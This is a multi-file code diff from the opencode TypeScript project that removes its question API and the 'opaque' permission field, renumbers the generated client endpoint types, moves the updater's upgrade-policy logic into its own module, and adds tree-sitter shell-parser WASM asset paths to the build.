@@ -34,14 +32,6 @@ export function decodePolicy(text: string): Policy | undefined {
if (typeof value === "boolean" || value === "notify") return value
}
export function action(current: string, latest: string, policy: Policy): Action {
if (policy === false) return "none"
if (!semver.valid(current) || !semver.valid(latest) || semver.eq(latest, current)) return "none"
// Major upgrades are never installed automatically.
if (semver.major(latest) !== semver.major(current)) return "none"
return "upgrade"
}
export const layer = Layer.effect(
Service,
Effect.gen(function* () {
@@ -166,3 +156,4 @@ export const layer = Layer.effect(
)
export * as Updater from "./updater"
export { action, type Action, type Policy } from "./updater-action"
@@ -49,7 +49,6 @@ describe("acp permission behavior", () => {
send(
permissionAsked("ses_allow", "perm_always", {
action: "read",
save: ["/workspace/file.ts"],
metadata: { path: "/workspace/file.ts" },
source: { type: "tool", messageID: "msg_allow", id: "call_always" },
}),
@@ -85,10 +84,10 @@ describe("acp permission behavior", () => {
},
options: [
{ optionId: "once", kind: "allow_once", name: "Allow once" },
{ optionId: "always", kind: "allow_always", name: "Always allow" },
{ optionId: "reject", kind: "reject_once", name: "Reject" },
],
})
expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
expect(permissionRequests[1]).toMatchObject({
sessionId: "ses_allow",
toolCall: {
@@ -558,7 +557,6 @@ function permissionAsked(
input: {
readonly action?: string
readonly metadata?: Record<string, unknown>
readonly save?: string[]
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
} = {},
) {
@@ -567,7 +565,6 @@ function permissionAsked(
sessionID,
action: input.action ?? "shell",
resources: ["*"],
...(input.save ? { save: input.save } : {}),
metadata: input.metadata ?? { command: "printf hello" },
...(input.source ? { source: input.source } : {}),
})
+8 -1
View File
@@ -1,10 +1,17 @@
import { expect, test } from "bun:test"
import { fileURLToPath } from "node:url"
import { collectNodeAssets } from "../script/node-assets"
import { nodeTarget } from "../src/node/target"
import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
test("collects each SEA asset key once", async () => {
const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
const keys = assets.map((asset) => asset.key)
expect(new Set(keys).size).toBe(keys.length)
expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
{
key: shellParserWasmAssets.runtime,
source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
},
])
})
@@ -240,8 +240,6 @@ async function run(input: {
})()
spyOn(sdk.event, "subscribe").mockImplementation(() => stream)
spyOn(sdk.permission, "list").mockImplementation(() => ok([]) as never)
spyOn(sdk.question, "list").mockImplementation(() => ok([]) as never)
spyOn(sdk.question, "reject").mockImplementation(() => ok(undefined) as never)
spyOn(sdk.form, "list").mockImplementation(
(request) => ok(input.pendingForms?.filter((item) => item.sessionID === request.sessionID) ?? []) as never,
)
@@ -435,8 +433,6 @@ describe("runNonInteractivePrompt", () => {
expect(sdk.form.request.list).toHaveBeenCalledWith({
location: { directory: "/work tree", workspace: "wrk_1" },
})
expect(sdk.question.list).not.toHaveBeenCalled()
expect(sdk.question.reject).not.toHaveBeenCalled()
})
test("attach mode cancels only session-owned forms", async () => {
+4 -1
View File
@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
import { createRequire } from "node:module"
import { defineConfig, type Plugin, type UserConfig } from "vite"
import solid from "vite-plugin-solid"
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
const dir = import.meta.dirname
@@ -212,6 +212,9 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
try {
+2 -8
View File
@@ -20,7 +20,6 @@
"./promise": "./src/promise/index.ts",
"./promise/api": "./src/promise/api.ts",
"./service": "./src/promise/service.ts",
"./solid": "./src/solid/index.ts",
"./effect": "./src/effect/index.ts",
"./effect/api": "./src/effect/api.ts",
"./effect/service": "./src/effect/service.ts"
@@ -37,15 +36,11 @@
"@opencode-ai/protocol": "workspace:*"
},
"peerDependencies": {
"effect": "4.0.0-beta.101",
"solid-js": ">=1.9.0"
"effect": "4.0.0-beta.101"
},
"peerDependenciesMeta": {
"effect": {
"optional": true
},
"solid-js": {
"optional": true
}
},
"devDependencies": {
@@ -54,7 +49,6 @@
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:",
"effect": "catalog:",
"solid-js": "catalog:"
"effect": "catalog:"
}
}
+39 -73
View File
@@ -32,7 +32,6 @@ import type { FileSystem } from "@opencode-ai/schema/filesystem"
import type { Command } from "@opencode-ai/schema/command"
import type { OpenCodeEvent } from "@opencode-ai/protocol/groups/event"
import type { Pty } from "@opencode-ai/schema/pty"
import type { Question } from "@opencode-ai/schema/question"
import type { Reference } from "@opencode-ai/schema/reference"
import type { Worktree } from "@opencode-ai/schema/worktree"
import type { Vcs } from "@opencode-ai/schema/vcs"
@@ -1307,7 +1306,6 @@ export type Endpoint15_3Input = {
readonly action: string
readonly resources: ReadonlyArray<string>
readonly save?: ReadonlyArray<string> | undefined
readonly opaque?: boolean | undefined
readonly metadata?: { readonly [x: string]: unknown } | undefined
readonly source?: Permission.Source | undefined
readonly agent?: Agent.ID | undefined
@@ -1504,69 +1502,38 @@ export interface ShellApi<E = never> {
export type Endpoint22_0Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint22_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Question.Request> }
export type QuestionRequestListOperation<E = never> = (
input?: Endpoint22_0Input,
) => Effect.Effect<Endpoint22_0Output, E>
export type Endpoint22_1Input = { readonly sessionID: Session.ID }
export type Endpoint22_1Output = ReadonlyArray<Question.Request>
export type QuestionListOperation<E = never> = (input: Endpoint22_1Input) => Effect.Effect<Endpoint22_1Output, E>
export type Endpoint22_2Input = {
readonly sessionID: Session.ID
readonly requestID: Question.ID
readonly answers: ReadonlyArray<Question.Answer>
}
export type Endpoint22_2Output = void
export type QuestionReplyOperation<E = never> = (input: Endpoint22_2Input) => Effect.Effect<Endpoint22_2Output, E>
export type Endpoint22_3Input = { readonly sessionID: Session.ID; readonly requestID: Question.ID }
export type Endpoint22_3Output = void
export type QuestionRejectOperation<E = never> = (input: Endpoint22_3Input) => Effect.Effect<Endpoint22_3Output, E>
export interface QuestionApi<E = never> {
readonly request: { readonly list: QuestionRequestListOperation<E> }
readonly list: QuestionListOperation<E>
readonly reply: QuestionReplyOperation<E>
readonly reject: QuestionRejectOperation<E>
}
export type Endpoint23_0Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint23_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Reference.Info> }
export type ReferenceListOperation<E = never> = (input?: Endpoint23_0Input) => Effect.Effect<Endpoint23_0Output, E>
export type Endpoint22_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Reference.Info> }
export type ReferenceListOperation<E = never> = (input?: Endpoint22_0Input) => Effect.Effect<Endpoint22_0Output, E>
export interface ReferenceApi<E = never> {
readonly list: ReferenceListOperation<E>
}
export type Endpoint24_0Input = { readonly projectID: Project.ID }
export type Endpoint24_0Output = Worktree.List
export type WorktreeListOperation<E = never> = (input: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
export type Endpoint23_0Input = { readonly projectID: Project.ID }
export type Endpoint23_0Output = Worktree.List
export type WorktreeListOperation<E = never> = (input: Endpoint23_0Input) => Effect.Effect<Endpoint23_0Output, E>
export type Endpoint24_1Input = {
export type Endpoint23_1Input = {
readonly projectID: Project.ID
readonly strategy: Worktree.StrategyID
readonly from?: AbsolutePath | undefined
readonly directory: AbsolutePath
readonly name?: string | undefined
}
export type Endpoint24_1Output = Worktree.Info
export type WorktreeCreateOperation<E = never> = (input: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
export type Endpoint23_1Output = Worktree.Info
export type WorktreeCreateOperation<E = never> = (input: Endpoint23_1Input) => Effect.Effect<Endpoint23_1Output, E>
export type Endpoint24_2Input = {
export type Endpoint23_2Input = {
readonly projectID: Project.ID
readonly directory: AbsolutePath
readonly force: boolean
}
export type Endpoint24_2Output = void
export type WorktreeRemoveOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
export type Endpoint23_2Output = void
export type WorktreeRemoveOperation<E = never> = (input: Endpoint23_2Input) => Effect.Effect<Endpoint23_2Output, E>
export type Endpoint24_3Input = { readonly projectID: Project.ID }
export type Endpoint24_3Output = void
export type WorktreeRefreshOperation<E = never> = (input: Endpoint24_3Input) => Effect.Effect<Endpoint24_3Output, E>
export type Endpoint23_3Input = { readonly projectID: Project.ID }
export type Endpoint23_3Output = void
export type WorktreeRefreshOperation<E = never> = (input: Endpoint23_3Input) => Effect.Effect<Endpoint23_3Output, E>
export interface WorktreeApi<E = never> {
readonly list: WorktreeListOperation<E>
@@ -1575,25 +1542,25 @@ export interface WorktreeApi<E = never> {
readonly refresh: WorktreeRefreshOperation<E>
}
export type Endpoint25_0Input = {
export type Endpoint24_0Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint25_0Output = { readonly location: Location.Info; readonly data: Vcs.Info }
export type VcsGetOperation<E = never> = (input?: Endpoint25_0Input) => Effect.Effect<Endpoint25_0Output, E>
export type Endpoint24_0Output = { readonly location: Location.Info; readonly data: Vcs.Info }
export type VcsGetOperation<E = never> = (input?: Endpoint24_0Input) => Effect.Effect<Endpoint24_0Output, E>
export type Endpoint25_1Input = {
export type Endpoint24_1Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint25_1Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Vcs.FileStatus> }
export type VcsStatusOperation<E = never> = (input?: Endpoint25_1Input) => Effect.Effect<Endpoint25_1Output, E>
export type Endpoint24_1Output = { readonly location: Location.Info; readonly data: ReadonlyArray<Vcs.FileStatus> }
export type VcsStatusOperation<E = never> = (input?: Endpoint24_1Input) => Effect.Effect<Endpoint24_1Output, E>
export type Endpoint25_2Input = {
export type Endpoint24_2Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
readonly mode: Vcs.Mode
readonly context?: number | undefined
}
export type Endpoint25_2Output = { readonly location: Location.Info; readonly data: ReadonlyArray<FileDiff.Info> }
export type VcsDiffOperation<E = never> = (input: Endpoint25_2Input) => Effect.Effect<Endpoint25_2Output, E>
export type Endpoint24_2Output = { readonly location: Location.Info; readonly data: ReadonlyArray<FileDiff.Info> }
export type VcsDiffOperation<E = never> = (input: Endpoint24_2Input) => Effect.Effect<Endpoint24_2Output, E>
export interface VcsApi<E = never> {
readonly get: VcsGetOperation<E>
@@ -1601,20 +1568,20 @@ export interface VcsApi<E = never> {
readonly diff: VcsDiffOperation<E>
}
export type Endpoint26_0Output = ReadonlyArray<Location.Ref>
export type DebugLocationListOperation<E = never> = () => Effect.Effect<Endpoint26_0Output, E>
export type Endpoint25_0Output = ReadonlyArray<Location.Ref>
export type DebugLocationListOperation<E = never> = () => Effect.Effect<Endpoint25_0Output, E>
export type Endpoint26_1Input = {
export type Endpoint25_1Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint26_1Output = void
export type DebugLocationEvictOperation<E = never> = (input?: Endpoint26_1Input) => Effect.Effect<Endpoint26_1Output, E>
export type Endpoint25_1Output = void
export type DebugLocationEvictOperation<E = never> = (input?: Endpoint25_1Input) => Effect.Effect<Endpoint25_1Output, E>
export interface DebugApi<E = never> {
readonly location: { readonly list: DebugLocationListOperation<E>; readonly evict: DebugLocationEvictOperation<E> }
}
export type Endpoint27_0Output =
export type Endpoint26_0Output =
| { readonly status: "required" | "completed" }
| {
readonly status: "running"
@@ -1625,36 +1592,36 @@ export type Endpoint27_0Output =
}
}
| { readonly status: "error"; readonly error: string }
export type MigrationV1StatusOperation<E = never> = () => Effect.Effect<Endpoint27_0Output, E>
export type MigrationV1StatusOperation<E = never> = () => Effect.Effect<Endpoint26_0Output, E>
export interface MigrationApi<E = never> {
readonly v1: { readonly status: MigrationV1StatusOperation<E> }
}
export type Endpoint28_0Input = {
export type Endpoint27_0Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint28_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<WebSearch.Provider> }
export type WebsearchProvidersOperation<E = never> = (input?: Endpoint28_0Input) => Effect.Effect<Endpoint28_0Output, E>
export type Endpoint27_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<WebSearch.Provider> }
export type WebsearchProvidersOperation<E = never> = (input?: Endpoint27_0Input) => Effect.Effect<Endpoint27_0Output, E>
export type Endpoint28_1Input = {
export type Endpoint27_1Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
readonly query: string
readonly providerID?: WebSearch.ID | undefined
}
export type Endpoint28_1Output = { readonly location: Location.Info; readonly data: WebSearch.Response }
export type WebsearchQueryOperation<E = never> = (input: Endpoint28_1Input) => Effect.Effect<Endpoint28_1Output, E>
export type Endpoint27_1Output = { readonly location: Location.Info; readonly data: WebSearch.Response }
export type WebsearchQueryOperation<E = never> = (input: Endpoint27_1Input) => Effect.Effect<Endpoint27_1Output, E>
export interface WebsearchApi<E = never> {
readonly providers: WebsearchProvidersOperation<E>
readonly query: WebsearchQueryOperation<E>
}
export type Endpoint29_0Input = {
export type Endpoint28_0Input = {
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
}
export type Endpoint29_0Output = ReadonlyArray<Config.Entry>
export type ConfigGetOperation<E = never> = (input?: Endpoint29_0Input) => Effect.Effect<Endpoint29_0Output, E>
export type Endpoint28_0Output = ReadonlyArray<Config.Entry>
export type ConfigGetOperation<E = never> = (input?: Endpoint28_0Input) => Effect.Effect<Endpoint28_0Output, E>
export interface ConfigApi<E = never> {
readonly get: ConfigGetOperation<E>
@@ -1683,7 +1650,6 @@ export interface AppApi<E = never> {
readonly event: EventApi<E>
readonly pty: PtyApi<E>
readonly shell: ShellApi<E>
readonly question: QuestionApi<E>
readonly reference: ReferenceApi<E>
readonly worktree: WorktreeApi<E>
readonly vcs: VcsApi<E>
+60 -105
View File
@@ -200,38 +200,30 @@ import type {
Endpoint21_5Output,
Endpoint22_0Input,
Endpoint22_0Output,
Endpoint22_1Input,
Endpoint22_1Output,
Endpoint22_2Input,
Endpoint22_2Output,
Endpoint22_3Input,
Endpoint22_3Output,
Endpoint23_0Input,
Endpoint23_0Output,
Endpoint23_1Input,
Endpoint23_1Output,
Endpoint23_2Input,
Endpoint23_2Output,
Endpoint23_3Input,
Endpoint23_3Output,
Endpoint24_0Input,
Endpoint24_0Output,
Endpoint24_1Input,
Endpoint24_1Output,
Endpoint24_2Input,
Endpoint24_2Output,
Endpoint24_3Input,
Endpoint24_3Output,
Endpoint25_0Input,
Endpoint25_0Output,
Endpoint25_1Input,
Endpoint25_1Output,
Endpoint25_2Input,
Endpoint25_2Output,
Endpoint26_0Output,
Endpoint26_1Input,
Endpoint26_1Output,
Endpoint27_0Input,
Endpoint27_0Output,
Endpoint27_1Input,
Endpoint27_1Output,
Endpoint28_0Input,
Endpoint28_0Output,
Endpoint28_1Input,
Endpoint28_1Output,
Endpoint29_0Input,
Endpoint29_0Output,
} from "../api/api.js"
import { ClientError } from "./client-error.js"
@@ -970,7 +962,6 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
action: input["action"],
resources: input["resources"],
save: input["save"],
opaque: input["opaque"],
metadata: input["metadata"],
source: input["source"],
agent: input["agent"],
@@ -1159,145 +1150,110 @@ const adaptGroup21 = (raw: RawClient["server.shell"]) => ({
remove: Endpoint21_5(raw),
})
const Endpoint22_0 = (raw: RawClient["server.question"]) => (input?: Endpoint22_0Input) =>
const Endpoint22_0 = (raw: RawClient["server.reference"]) => (input?: Endpoint22_0Input) =>
preserveEffect<Endpoint22_0Output>()(
raw["question.request.list"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const Endpoint22_1 = (raw: RawClient["server.question"]) => (input: Endpoint22_1Input) =>
preserveEffect<Endpoint22_1Output>()(
raw["session.question.list"]({ params: { sessionID: input["sessionID"] } }).pipe(
Effect.mapError(mapClientError),
Effect.map((value) => value.data),
),
)
const Endpoint22_2 = (raw: RawClient["server.question"]) => (input: Endpoint22_2Input) =>
preserveEffect<Endpoint22_2Output>()(
raw["session.question.reply"]({
params: { sessionID: input["sessionID"], requestID: input["requestID"] },
payload: { answers: input["answers"] },
}).pipe(Effect.mapError(mapClientError)),
)
const Endpoint22_3 = (raw: RawClient["server.question"]) => (input: Endpoint22_3Input) =>
preserveEffect<Endpoint22_3Output>()(
raw["session.question.reject"]({ params: { sessionID: input["sessionID"], requestID: input["requestID"] } }).pipe(
Effect.mapError(mapClientError),
),
)
const adaptGroup22 = (raw: RawClient["server.question"]) => ({
request: { list: Endpoint22_0(raw) },
list: Endpoint22_1(raw),
reply: Endpoint22_2(raw),
reject: Endpoint22_3(raw),
})
const Endpoint23_0 = (raw: RawClient["server.reference"]) => (input?: Endpoint23_0Input) =>
preserveEffect<Endpoint23_0Output>()(
raw["reference.list"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const adaptGroup23 = (raw: RawClient["server.reference"]) => ({ list: Endpoint23_0(raw) })
const adaptGroup22 = (raw: RawClient["server.reference"]) => ({ list: Endpoint22_0(raw) })
const Endpoint24_0 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_0Input) =>
preserveEffect<Endpoint24_0Output>()(
const Endpoint23_0 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_0Input) =>
preserveEffect<Endpoint23_0Output>()(
raw["worktree.list"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
)
const Endpoint24_1 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_1Input) =>
preserveEffect<Endpoint24_1Output>()(
const Endpoint23_1 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_1Input) =>
preserveEffect<Endpoint23_1Output>()(
raw["worktree.create"]({
params: { projectID: input["projectID"] },
payload: { strategy: input["strategy"], from: input["from"], directory: input["directory"], name: input["name"] },
}).pipe(Effect.mapError(mapClientError)),
)
const Endpoint24_2 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_2Input) =>
preserveEffect<Endpoint24_2Output>()(
const Endpoint23_2 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_2Input) =>
preserveEffect<Endpoint23_2Output>()(
raw["worktree.remove"]({
params: { projectID: input["projectID"] },
payload: { directory: input["directory"], force: input["force"] },
}).pipe(Effect.mapError(mapClientError)),
)
const Endpoint24_3 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_3Input) =>
preserveEffect<Endpoint24_3Output>()(
const Endpoint23_3 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_3Input) =>
preserveEffect<Endpoint23_3Output>()(
raw["worktree.refresh"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
)
const adaptGroup24 = (raw: RawClient["server.worktree"]) => ({
list: Endpoint24_0(raw),
create: Endpoint24_1(raw),
remove: Endpoint24_2(raw),
refresh: Endpoint24_3(raw),
const adaptGroup23 = (raw: RawClient["server.worktree"]) => ({
list: Endpoint23_0(raw),
create: Endpoint23_1(raw),
remove: Endpoint23_2(raw),
refresh: Endpoint23_3(raw),
})
const Endpoint25_0 = (raw: RawClient["server.vcs"]) => (input?: Endpoint25_0Input) =>
preserveEffect<Endpoint25_0Output>()(
const Endpoint24_0 = (raw: RawClient["server.vcs"]) => (input?: Endpoint24_0Input) =>
preserveEffect<Endpoint24_0Output>()(
raw["vcs.get"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const Endpoint25_1 = (raw: RawClient["server.vcs"]) => (input?: Endpoint25_1Input) =>
preserveEffect<Endpoint25_1Output>()(
const Endpoint24_1 = (raw: RawClient["server.vcs"]) => (input?: Endpoint24_1Input) =>
preserveEffect<Endpoint24_1Output>()(
raw["vcs.status"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const Endpoint25_2 = (raw: RawClient["server.vcs"]) => (input: Endpoint25_2Input) =>
preserveEffect<Endpoint25_2Output>()(
const Endpoint24_2 = (raw: RawClient["server.vcs"]) => (input: Endpoint24_2Input) =>
preserveEffect<Endpoint24_2Output>()(
raw["vcs.diff"]({ query: { location: input["location"], mode: input["mode"], context: input["context"] } }).pipe(
Effect.mapError(mapClientError),
),
)
const adaptGroup25 = (raw: RawClient["server.vcs"]) => ({
get: Endpoint25_0(raw),
status: Endpoint25_1(raw),
diff: Endpoint25_2(raw),
const adaptGroup24 = (raw: RawClient["server.vcs"]) => ({
get: Endpoint24_0(raw),
status: Endpoint24_1(raw),
diff: Endpoint24_2(raw),
})
const Endpoint26_0 = (raw: RawClient["server.debug"]) => () =>
preserveEffect<Endpoint26_0Output>()(raw["debug.location"]({}).pipe(Effect.mapError(mapClientError)))
const Endpoint25_0 = (raw: RawClient["server.debug"]) => () =>
preserveEffect<Endpoint25_0Output>()(raw["debug.location"]({}).pipe(Effect.mapError(mapClientError)))
const Endpoint26_1 = (raw: RawClient["server.debug"]) => (input?: Endpoint26_1Input) =>
preserveEffect<Endpoint26_1Output>()(
const Endpoint25_1 = (raw: RawClient["server.debug"]) => (input?: Endpoint25_1Input) =>
preserveEffect<Endpoint25_1Output>()(
raw["debug.location.evict"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const adaptGroup26 = (raw: RawClient["server.debug"]) => ({
location: { list: Endpoint26_0(raw), evict: Endpoint26_1(raw) },
const adaptGroup25 = (raw: RawClient["server.debug"]) => ({
location: { list: Endpoint25_0(raw), evict: Endpoint25_1(raw) },
})
const Endpoint27_0 = (raw: RawClient["server.migration"]) => () =>
preserveEffect<Endpoint27_0Output>()(raw["migration.v1.status"]({}).pipe(Effect.mapError(mapClientError)))
const Endpoint26_0 = (raw: RawClient["server.migration"]) => () =>
preserveEffect<Endpoint26_0Output>()(raw["migration.v1.status"]({}).pipe(Effect.mapError(mapClientError)))
const adaptGroup27 = (raw: RawClient["server.migration"]) => ({ v1: { status: Endpoint27_0(raw) } })
const adaptGroup26 = (raw: RawClient["server.migration"]) => ({ v1: { status: Endpoint26_0(raw) } })
const Endpoint28_0 = (raw: RawClient["server.websearch"]) => (input?: Endpoint28_0Input) =>
preserveEffect<Endpoint28_0Output>()(
const Endpoint27_0 = (raw: RawClient["server.websearch"]) => (input?: Endpoint27_0Input) =>
preserveEffect<Endpoint27_0Output>()(
raw["websearch.providers"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const Endpoint28_1 = (raw: RawClient["server.websearch"]) => (input: Endpoint28_1Input) =>
preserveEffect<Endpoint28_1Output>()(
const Endpoint27_1 = (raw: RawClient["server.websearch"]) => (input: Endpoint27_1Input) =>
preserveEffect<Endpoint27_1Output>()(
raw["websearch.query"]({
query: { location: input["location"] },
payload: { query: input["query"], providerID: input["providerID"] },
}).pipe(Effect.mapError(mapClientError)),
)
const adaptGroup28 = (raw: RawClient["server.websearch"]) => ({
providers: Endpoint28_0(raw),
query: Endpoint28_1(raw),
const adaptGroup27 = (raw: RawClient["server.websearch"]) => ({
providers: Endpoint27_0(raw),
query: Endpoint27_1(raw),
})
const Endpoint29_0 = (raw: RawClient["server.config"]) => (input?: Endpoint29_0Input) =>
preserveEffect<Endpoint29_0Output>()(
const Endpoint28_0 = (raw: RawClient["server.config"]) => (input?: Endpoint28_0Input) =>
preserveEffect<Endpoint28_0Output>()(
raw["config.get"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
)
const adaptGroup29 = (raw: RawClient["server.config"]) => ({ get: Endpoint29_0(raw) })
const adaptGroup28 = (raw: RawClient["server.config"]) => ({ get: Endpoint28_0(raw) })
const adaptClient = (raw: RawClient) => ({
health: adaptGroup0(raw["server.health"]),
@@ -1322,14 +1278,13 @@ const adaptClient = (raw: RawClient) => ({
event: adaptGroup19(raw["server.event"]),
pty: adaptGroup20(raw["server.pty"]),
shell: adaptGroup21(raw["server.shell"]),
question: adaptGroup22(raw["server.question"]),
reference: adaptGroup23(raw["server.reference"]),
worktree: adaptGroup24(raw["server.worktree"]),
vcs: adaptGroup25(raw["server.vcs"]),
debug: adaptGroup26(raw["server.debug"]),
migration: adaptGroup27(raw["server.migration"]),
websearch: adaptGroup28(raw["server.websearch"]),
config: adaptGroup29(raw["server.config"]),
reference: adaptGroup22(raw["server.reference"]),
worktree: adaptGroup23(raw["server.worktree"]),
vcs: adaptGroup24(raw["server.vcs"]),
debug: adaptGroup25(raw["server.debug"]),
migration: adaptGroup26(raw["server.migration"]),
websearch: adaptGroup27(raw["server.websearch"]),
config: adaptGroup28(raw["server.config"]),
})
export const make = (options?: { readonly baseUrl?: URL | string }) =>
@@ -194,14 +194,6 @@ import type {
ShellOutputOutput,
ShellRemoveInput,
ShellRemoveOutput,
QuestionRequestListInput,
QuestionRequestListOutput,
QuestionListInput,
QuestionListOutput,
QuestionReplyInput,
QuestionReplyOutput,
QuestionRejectInput,
QuestionRejectOutput,
ReferenceListInput,
ReferenceListOutput,
WorktreeListInput,
@@ -1390,7 +1382,6 @@ export function make(options: ClientOptions) {
action: input["action"],
resources: input["resources"],
save: input["save"],
opaque: input["opaque"],
metadata: input["metadata"],
source: input["source"],
agent: input["agent"],
@@ -1661,56 +1652,6 @@ export function make(options: ClientOptions) {
requestOptions,
),
},
question: {
request: {
list: (input?: QuestionRequestListInput, requestOptions?: RequestOptions) =>
request<QuestionRequestListOutput>(
{
method: "GET",
path: `/api/question/request`,
query: { location: input?.["location"] },
successStatus: 200,
declaredStatuses: [401, 400],
empty: false,
},
requestOptions,
),
},
list: (input: QuestionListInput, requestOptions?: RequestOptions) =>
request<{ readonly data: QuestionListOutput }>(
{
method: "GET",
path: `/api/session/${encodeURIComponent(input.sessionID)}/question`,
successStatus: 200,
declaredStatuses: [404, 400, 401],
empty: false,
},
requestOptions,
).then((value) => value.data),
reply: (input: QuestionReplyInput, requestOptions?: RequestOptions) =>
request<QuestionReplyOutput>(
{
method: "POST",
path: `/api/session/${encodeURIComponent(input.sessionID)}/question/${encodeURIComponent(input.requestID)}/reply`,
body: { answers: input["answers"] },
successStatus: 204,
declaredStatuses: [404, 400, 401],
empty: true,
},
requestOptions,
),
reject: (input: QuestionRejectInput, requestOptions?: RequestOptions) =>
request<QuestionRejectOutput>(
{
method: "POST",
path: `/api/session/${encodeURIComponent(input.sessionID)}/question/${encodeURIComponent(input.requestID)}/reject`,
successStatus: 204,
declaredStatuses: [404, 400, 401],
empty: true,
},
requestOptions,
),
},
reference: {
list: (input?: ReferenceListInput, requestOptions?: RequestOptions) =>
request<ReferenceListOutput>(
@@ -324,12 +324,6 @@ export type Pty = {
exitCode?: number
}
export type QuestionOption = { label: string; description: string }
export type QuestionTool = { messageID: string; id: string }
export type QuestionAnswer = Array<string>
export type FormMetadata1 = { [x: string]: any }
export type FormWhen1 = { key: string; op: "eq" | "neq"; value: string | number | boolean }
@@ -910,15 +904,6 @@ export type ShellDeleted = {
data: { id: string }
}
export type QuestionRejected = {
id: string
created: number
metadata?: { [x: string]: any }
type: "question.rejected"
location?: LocationRef
data: { sessionID: string; requestID: string }
}
export type FormCancelled = {
id: string
created: number
@@ -1377,7 +1362,6 @@ export type PermissionRequest = {
action: string
resources: Array<string>
save?: Array<string>
opaque?: boolean
metadata?: { [x: string]: JsonValue }
source?: PermissionSource
}
@@ -1394,7 +1378,6 @@ export type PermissionAsked = {
action: string
resources: Array<string>
save?: Array<string>
opaque?: boolean
metadata?: { [x: string]: any }
source?: PermissionSource
}
@@ -1427,23 +1410,6 @@ export type PtyUpdated = {
data: { info: Pty }
}
export type QuestionInfo = {
question: string
header: string
options: Array<QuestionOption>
multiple?: boolean
custom?: boolean
}
export type QuestionReplied = {
id: string
created: number
metadata?: { [x: string]: any }
type: "question.replied"
location?: LocationRef
data: { sessionID: string; requestID: string; answers: Array<QuestionAnswer> }
}
export type FormStringField1 = {
key: string
title?: string
@@ -1684,17 +1650,6 @@ export type FormReplied = {
data: { id: string; sessionID: string; answer: FormAnswer }
}
export type QuestionAsked = {
id: string
created: number
metadata?: { [x: string]: any }
type: "question.asked"
location?: LocationRef
data: { id: string; sessionID: string; questions: Array<QuestionInfo>; tool?: QuestionTool }
}
